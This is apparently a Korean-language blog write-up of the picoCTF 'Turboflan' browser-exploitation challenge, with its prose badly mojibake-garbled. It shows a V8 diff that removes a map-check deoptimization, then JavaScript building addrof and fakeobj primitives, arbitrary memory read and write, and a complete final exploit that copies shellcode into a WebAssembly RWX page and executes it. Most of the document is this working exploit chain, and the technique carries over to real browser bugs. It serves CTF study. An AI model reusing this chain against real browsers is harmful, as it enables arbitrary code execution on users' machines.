๐งก Explaination
d8, source, server.py๊ฐ ์ฃผ์ด์ง๋ค. server.py๋ Download Horsepower ๋ฌธ์ ์ ๋์ผํ๋ค.
๐งก Function Explaination
__DeoptimizeIfNot ํจ์๊ฐ ์ญ์ ๋์๋ค. ์ฐพ์๋ณด๋ ์ด ํจ์๋ ํ ํจ์๊ฐ ์ต์ ํ ๋๊ณ ๊ทธ ํจ์์ ํ์ ์ด ๋ฐ๋์์ ๋ ์ต์ ํ๋ฅผ ํด์ ํ๋ ์ญํ ์ ์ํํ๋ค๊ณ ํ๋ค. ์ด ํจ์๊ฐ ์ญ์ ๋์์ผ๋ฏ๋ก ์ต์ ํ ๋ฒ๊ทธ๋ฅผ ๋ฐ์์ํฌ ์ ์๋ค.
diff --git a/src/compiler/effect-control-linearizer.cc b/src/compiler/effect-control-linearizer.cc
index d64c3c80e5..6bbd1e98b0 100644
--- a/src/compiler/effect-control-linearizer.cc
+++ b/src/compiler/effect-control-linearizer.cc
@@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
Node* map = __ HeapConstant(maps[i]);
Node* check = __ TaggedEqual(value_map, map);
if (i == map_count - 1) {
- __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
- frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+ // This makes me slow down! Can't have! Gotta go fast!!
+ // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+ // frame_state, IsSafetyCheck::kCriticalSafetyCheck);
} else {
auto next_map = __ MakeLabel();
__ BranchWithCriticalSafetyCheck(check, &done, &next_map);
@@ -1888,8 +1889,8 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
Node* check = __ TaggedEqual(value_map, map);
if (i == map_count - 1) {
- __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
- frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+ // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+ // frame_state, IsSafetyCheck::kCriticalSafetyCheck);
} else {
auto next_map = __ MakeLabel();
__ BranchWithCriticalSafetyCheck(check, &done, &next_map);
๐งก Attack Vector
์์์ ์ค๋ช ํ๋ค์ถ์ด ์ต์ ํ ๊ด๋ จํด์ ์ผ์ด๋๋ ๋ฒ๊ทธ๋ฅผ ์ด์ฉํด ์ทจ์ฝ์ ์ ๋ฐ์์ํฌ ์ ์๋ค. ๋ค์ ์์ ๋ฅผ ๋ด๋ณด์.
function force_read(arr, idx) {
for(var i=0; i<1; i++)
i += 2;
return arr[idx];
}
function force_write(arr, idx, val) {
for(var i=0; i<1; i++)
i +=2;
arr[idx] = val;
}
function force_opti() {
for(var i=0; i<200000; i++) {
force_read(temp, 0);
force_write(temp, 13.37);
}
}
var temp = [1.1, 1.2];
var obj = {"A": 1};
var obj_addr = [obj];
force_opti();
console.log(force_read(obj_addr, 0));
force_opti ํจ์์์ ์ค์ํ ๋ฐฐ์ด์ ์ธ์๋ก ๊ฐ์ง๊ณ force_read ํจ์์ force_write ํจ์๋ฅผ 200,000๋ฒ์ฉ ์ํํ๋ค. ์๋ ๋์ ์๋ ๋๋ก๋ผ๋ฉด hot and stable optimization์ด ๋์ด์ผ ํ๋๋ฐ force_read์ force_write ํจ์์ ๋ด์ฉ์ด ์ ์ด์ small function optimization์ด ์ํ๋๋ค. ๊ทผ๋ฐ ๋ฑํ.. ์๊ด์ ์๋ค. ๐ ๋ง์ฝ hot and stable optimization์ ํ๊ณ ์ถ์ผ๋ฉด ์๋ฏธ ์๋ ๋ฐ๋ณต๋ฌธ์ ์ฌ๋ฌ ๊ฐ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค! ์ด์ ์คํ์ ํด๋ณด๋ฉด?
root@ubuntu:~/wargame/picoctf/turboflan# ./d8 ./test.js
1.914420234161599e-269
>>> hex(struct.unpack("Q", struct.pack("d", 1.914420234161599e-269))[0])
'0x8243a4108084eed'
Map๊ณผ properties์ ํด๋นํ๋ ๋ฉ๋ชจ๋ฆฌ๊ฐ leak ๋์๋ค. JSArray์ ๊ตฌ์กฐ๋ฅผ ์ ์๊ฐํด๋ณด๋ฉด ์ ์ด๋ ๊ฒ ๋์ค๋์ง ์ ์ ์๋ค.
* Double Array: elements -> value
* Object Array: elements -> elements -> value
์ด๋ฅผ ์ด์ฉํด์ ์ต์คํ๋ก์ ์๋๋ฆฌ์ค๋ฅผ ๊ตฌ์ฑํ๋ฉด ๋๋ค.
๐งก How to Exploit?
์ต์ ํ ๋ฒ๊ทธ๋ฅผ ์ด์ฉํด ์ต์ข ์ ์ผ๋ก AAR/AAW๋ฅผ ๊ตฌํํ์ฌ ์์ฝ๋๋ฅผ ์ฌ๋ฆฌ๋ ๋ฐฉ๋ฒ์ผ๋ก ๊ณต๊ฒฉ์ ์งํํ ๊ฒ์ด๋ค.
๋จผ์ , ์ํ๋ object์ ์ฃผ์๋ฅผ leak ํ ์ ์๋ addrof ํจ์๋ฅผ ๊ตฌํํ๋ค.
function addrof(custom) {
obj_addr[0] = custom;
fake_header = (obj_prop << 32n) + float_map;
force_write(obj_addr, 1, itof(fake_header));
var leak = force_read(obj_addr, 0);
obj_addr[0] = obj;
return ftoi(leak);
}
๋ค์์ fakeobj ํจ์๋ฅผ ๊ตฌํํ๋ค.
function fakeobj(addr) {
force_write(obj_addr, 0, itof(addr)); //fake elements
force_write(obj_addr, 1, itof((obj_prop << 32n) + obj_map))
return obj_addr[0];
}
๊ทธ๋ฆฌ๊ณ , ๋ฉ๋ชจ๋ฆฌ์ ๊ตฌ์กฐ๋ฅผ ์ ๊ณ์ฐํด์ AAR/AAW ํจ์๋ฅผ ๊ตฌํํ๋ค.
function aar(addr) {
var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
var fake = fakeobj(addrof(implement_arr) - 0x20n);
var address = (2n << 32n) + (addr - 0x8n);
implement_arr[1] = itof(address);
return fake[0];
}
function aaw(addr, val) {
var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
var fake = fakeobj(addrof(implement_arr) - 0x20n);
var address = (2n << 32n) + (addr - 0x8n);
implement_arr[1] = itof(address);
fake[0] = val;
}
์ต์ข ํ์ด๋ก๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
var buf = new ArrayBuffer(8);
var u32_buf = new Uint32Array(buf);
var f64_buf = new Float64Array(buf);
function itof(val) {
u32_buf[0] = Number(BigInt(val) & 0xffffffffn);
u32_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n);
}
function force_read(arr, idx) {
for(var i=0; i<1; i++)
i += 2;
return arr[idx];
}
function force_write(arr, idx, val) {
for(var i=0; i<1; i++)
i += 2;
arr[idx] = val;
}
function addrof(custom) {
obj_addr[0] = custom;
fake_header = (obj_prop << 32n) + float_map;
force_write(obj_addr, 1, itof(fake_header));
var leak = force_read(obj_addr, 0);
obj_addr[0] = obj;
return ftoi(leak);
}
function fakeobj(addr) {
force_write(obj_addr, 0, itof(addr)); //fake elements
force_write(obj_addr, 1, itof((obj_prop << 32n) + obj_map))
return obj_addr[0];
}
function aar(addr) {
var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
var fake = fakeobj(addrof(implement_arr) - 0x20n);
var address = (2n << 32n) + (addr - 0x8n);
implement_arr[1] = itof(address);
return fake[0];
}
function aaw(addr, val) {
var implement_arr = [itof(float_map), 1.2, 1.3, 1.4];
var fake = fakeobj(addrof(implement_arr) - 0x20n);
var address = (2n << 32n) + (addr - 0x8n);
implement_arr[1] = itof(address);
fake[0] = val;
}
function copy_shellcode(addr, shellcode) {
var buffer = new ArrayBuffer(0x100);
//%DebugPrint(buffer);
var dataview = new DataView(buffer);
var buffer_addr = addrof(buffer);
var backing_store_addr = buffer_addr + 0x14n;
aaw(backing_store_addr, addr);
for(var i=0; i<shellcode.length; i++)
dataview.setUint32(i*4, shellcode[i], true);
}
var obj = {"A": 1};
var obj_addr = [obj, obj];
var jit_arr = [1.1];
var float_arr = [13.37, 13.37, 13.37, 13.37];
var test = [11.11];
for(var i=0; i<200000; i++) {
force_read(jit_arr, 0);
force_write(jit_arr, 0, 13.37);
}
var obj_map = ftoi(force_read(obj_addr, 1)) & 0xfffffffn
var float_map = obj_map - 0x50n;
var obj_prop = ftoi(force_read(obj_addr, 1)) >> 32n;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = ftoi(aar(addrof(wasm_instance)+0x68n-0x1n)) >> 8n;
var custom_shellcode = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b];
console.log("rwx_page_addr: 0x" + rwx_page_addr.toString(16));
copy_shellcode(itof(rwx_page_addr), custom_shellcode);
f();
'๊ณต๋ถ์ฉ > Browser Exploitation' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Browser Exploitation] picoCTF - Download Horsepower (1) | 2021.08.05 |
---|---|
[Browser Exploitation] picoCTF - Kit Engine (0) | 2021.08.04 |
[Browser Exploitation] *CTF 2019 oob-v8 (0) | 2021.08.04 |
[Browser Exploitation] Prepare for WebKit Exploit (0) | 2021.07.28 |
[Browser Exploitation] JSC boxed vs. unboxed (0) | 2021.07.28 |